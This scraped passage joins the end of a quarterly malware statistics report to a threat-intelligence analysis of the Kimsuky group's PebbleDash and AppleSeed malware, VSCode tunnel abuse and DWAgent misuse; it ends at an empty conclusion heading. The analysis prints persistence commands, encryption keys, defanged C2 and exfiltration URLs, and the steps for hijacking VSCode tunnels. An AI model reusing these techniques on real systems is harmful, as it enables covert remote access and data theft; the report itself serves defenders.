(generic verdict)
Trojan-Ransom.Win32.Crypmod
1.89
* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.
Miners
Number of new variants
In Q1 2026, Kaspersky solutions detected 3485 new modifications of miners.
Number of new miner modifications, Q1 2026 (download)
Number of users attacked by miners
In Q1, we detected attacks using miner programs on the computers of 260,588 unique Kaspersky users worldwide.
Number of unique users attacked by miners, Q1 2026 (download)
Attack geography
TOP 10 countries and territories attacked by miners
Country/territory*
%**
1
Senegal
3.19
2
Turkmenistan
3.06
3
Mali
2.63
4
Tanzania
1.62
5
Bangladesh
1.06
6
Ethiopia
0.95
7
Panama
0.88
8
Afghanistan
0.79
9
Kazakhstan
0.77
10
Bolivia
0.75
* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.
Attacks on macOS
In Q1 2026, Google uncovered a new cryptocurrency theft campaign. The scammers directed victims to a fraudulent video call, prompting them to execute malicious scripts under the guise of technical support fixes for connection problems.
In March, researchers with GTIG and iVerify reported the discovery of an in-the-wild exploit chain targeting both iOS and macOS devices. The exploit kit was apparently marketed on the dark web, providing threat actors with a suite of spyware capabilities alongside specialized cryptocurrency exfiltration modules. The exploit was delivered via drive-by downloads when victims visited various compromised websites. Our analysis confirmed that the toolkit included an updated version of a component previously identified in the Operation Triangulation attack chain.
Devices running macOS were similarly impacted by the high-profile supply chain attack targeting the Axios npm package, a widely used HTTP client for JavaScript. The installation of the infected package led to the deployment of a backdoor on macOS devices.
TOP 20 threats to macOS
Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)
* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.
The share of PasivRobber spyware attacks is beginning to decline, giving way to more traditional adware and Monitor-class software capable of tracking user activity. The popular Amos stealer also maintains its presence within the TOP 20.
Geography of threats to macOS
TOP 10 countries and territories by share of attacked users
Country/territory
%* Q4 2025
%* Q1 2026
China
1.28
1.97
France
1.18
1.07
Brazil
1.13
0.98
Mexico
0.72
0.52
Germany
0.71
0.45
The Netherlands
0.62
0.75
Hong Kong
0.49
0.53
India
0.42
0.48
Russian Federation
0.34
0.37
Thailand
0.24
0.27
* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.
IoT threat statistics
This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.
In Q1 2026, the share of devices attacking Kaspersky honeypots via the SSH protocol saw a significant increase compared to the previous reporting period.
Distribution of attacked services by number of unique IP addresses of attacking devices (download)
The distribution of attacks between Telnet and SSH maintained the ratio observed in Q4 2025.
Distribution of attackers’ sessions in Kaspersky honeypots (download)
TOP 10 threats delivered to IoT devices
Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)
The primary shifts in the IoT threat distribution are linked to the activity of various Mirai botnet variants, although members of this family continue to account for the majority of the list. Furthermore, a new variant, Mirai.kl, surfaced in the rankings. We also observed a significant decline in NyaDrop botnet activity during Q1.
Attacks on IoT honeypots
The United States, the Netherlands, and Germany accounted for the highest proportions of SSH-based attacks during this period.
Country/territory
Q4 2025
Q1 2026
United States
16.10%
23.74%
The Netherlands
15.78%
17.57%
Germany
12.07%
10.34%
Panama
7.72%
6.34%
India
5.32%
6.05%
Romania
4.05%
5.82%
Australia
1.62%
4.61%
Vietnam
4.21%
3.50%
Russian Federation
3.79%
2.35%
Sweden
2.25%
2.09%
China continues to account for the largest proportion of Telnet attacks, though there was a marked increase in activity originating from Pakistan.
Country/territory
Q4 2025
Q1 2026
China
53.64%
39.54%
Pakistan
14.27%
27.31%
Russian Federation
8.20%
8.25%
Indonesia
8.58%
6.71%
India
4.85%
4.66%
Brazil
0.06%
3.30%
Argentina
0.02%
2.51%
Nigeria
1.22%
1.38%
Thailand
0.01%
0.55%
Sweden
0.54%
0.55%
Attacks via web resources
The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.
TOP 10 countries and territories that served as sources of web-based attacks
The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malicious programs, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.
To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).
In Q1 2026, Kaspersky solutions blocked 343,823,407 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 49,983,611 unique URLs.
Web-based attacks by country/territory, Q1 2026 (download)
Countries and territories where users faced the greatest risk of online infection
To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.
This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Venezuela
9.33
2
Hungary
8.16
3
Italy
7.58
4
Tajikistan
7.48
5
India
7.21
6
Greece
7.13
7
Portugal
7.10
8
France
7.05
9
Belgium
6.83
10
Slovakia
6.80
11
Vietnam
6.62
12
Bosnia and Herzegovina
6.57
13
Canada
6.56
14
Serbia
6.50
15
Tunisia
6.36
16
Qatar
6.01
17
Spain
5.95
18
Germany
5.95
19
Sri Lanka
5.89
20
Brazil
5.88
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.
On average during the quarter, 4.73% of users’ computers worldwide were subjected to at least one Malware web attack.
Local threats
Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.
Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.
In Q1 2026, our File Anti-Virus detected 15,831,319 malicious and potentially unwanted objects.
Countries and territories where users faced the highest risk of local infection
For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.
Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.
Country/territory*
%**
1
Turkmenistan
47.96
2
Tajikistan
31.48
3
Cuba
31.03
4
Yemen
29.59
5
Afghanistan
28.47
6
Burundi
26.93
7
Uzbekistan
24.81
8
Syria
23.08
9
Nicaragua
21.97
10
Cameroon
21.60
11
China
21.09
12
Mozambique
21.02
13
Algeria
20.64
14
Democratic Republic of the Congo
20.63
15
Bangladesh
20.44
16
Mali
20.35
17
Republic of the Congo
20.23
18
Madagascar
20.00
19
Belarus
19.78
20
Tanzania
19.52
* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.
On average worldwide, Malware local threats were detected at least once on 11.55% of users’ computers during Q1.
Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.
Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.
Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.
This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.
Executive summary
Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.
Background
First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).
The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.
Timeline of the AppleSeed and PebbleDash malware families
AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.
Initial access
Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.
Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse
August 28, 2025
995a0a49ae4b244928b3f67e2bfd7a6e
HelloDoor
2
2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse
December 14, 2025
52f1ff082e981cbdfd1f045c6021c63f
httpMalice
3
security_20260126.scr
–
January 26, 2026
65fc9f06de5603e2c1af9b4f288bb22c
Reger Dropper, MemLoad, httpTroy
4
노현정님.pdf.jse
Ms. Noh Hyun-jung.pdf.jse
January 28, 2026
8e15c4d4f71bdd9dbc48cd2cabc87806
AppleSeed chain
5
대국민서비스관리운영체계현장점검증적(초안).pif
On-site Inspection Evidence for the Public Service Management System (Draft).pif
February 5, 2026
8983ffa6da23e0b99ccc58c17b9788c7
Pidoc Dropper, HappyDoor
JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].
Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.
In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.
Deployed malware
In this section, we describe several malware families recently dropped by the droppers discussed above.
HelloDoor: first Rust-based PebbleDash variant
Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.
HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].
The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.
The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:
Command
Description
“mcd”
Set the current directory
“msleep”
Sleep for the provided time
“install”
Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command]
Execute the provided command using chcp 65001 > nul & cmd /U /C [command]
Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.
✅ Port is now listening (no accepting)
❌ Port is already in use
🔍 regsvr32.exe detected as parent. Attempting to terminate...
This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.
Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:
result send fail (grammatically incorrect text)
server request fail (grammatically incorrect text)
It is likely that the flawed comments were added manually before or after AI was used.
httpMalice: latest backdoor variant of PebbleDash
The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:
(PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
(PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
(PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
(PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
(AppleSeed cluster) Use of the m= parameter in C2 communication.
(AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.
Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.
The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].
Value of elevation status
Description
0
Running under the SYSTEM account with an elevated token
1
Running under an elevated administrator account
2
Running without elevation
Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.
The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).
Windows commands used to gather system details
httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:
Value
Description
1
Send the session identifier (parameter s) along with the current state (parameter a)
2
Request command
3
Send result after executing the command (parameter d)
8
Request directory to be archived and sent
9
Send the archived directory
10
Send a message like “.cmd” or “.tmp” (parameter d)
11
Send ping
12
Send the captured screenshot (parameter d)
13
Send the infected device information (parameter d)
As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].
The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.
Structure of the ChaCha20-encrypted data blob
After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:
Value
Description
0
httpMalice has been activated
1
httpMalice has been inactivated (upon command 9)
2
httpMalice has been removed (upon command 8)
The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.
C2 communication sequence of httpMalice
When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.
The commands supported by httpMalice are as follows:
Command
Description
0
Do nothing
1
Execute the command with EUC-KR encoding
2
Download and extract the file to the infected device
3
Upload a directory to the C2 server after it has been archived
5
Get the current directory
6
Set the current directory
7
Execute the command without setting a EUC-KR character set
8
Remove its persistence traces and exit the process
9
Hibernate
10
Execute the command using the provided session ID
12
Capture the screen
13
Load the downloaded payload into memory
MemLoad downloads httpTroy
Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).
Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.
Below are the key operations of MemLoad:
Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command
schtasks/create/tn<task name>/tr"regsvr32 /s <current file path>"/sc minute/mo1/rl highest/f is executed. Otherwise, the task is named EdgeCheck, and the command
schtasks/create/tn<task name>/tr"regsvr32 /s <current file path>"/sc minute/mo1/f is executed.
C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.
The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].
Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.
AppleSeed
AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.
Updated AppleSeed infection chain
There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.
HappyDoor
HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.
Post-exploitation
We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.
VSCode (launched by the JSE dropper)
Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.
The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.
The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.
Out.txt content
The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.
VSCode (launched by VSCode installer)
While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.
After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.
This is how the installer works:
Executes code.exe tunnel.
Searches for the “Microsoft Account” string in the stdout.
Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
Searches for the “use code” string in the stdout.
Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
Searches for the “What would you like to call this machine?” string in the stdout.
Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
Searches for the “https://vscode.dev/tunnel/” string in the stdout.
Sends the printed URL for tunneling to the Slack WebHook.
The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)
Creating a tunnel using VSCode CLI
Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.
An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.
DWAgent
DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.
We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.
This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:
The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.
The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.
For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.
The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.
Victims
We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.
Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.
While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.
Attribution
Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.
Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.
These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.
Conclusion
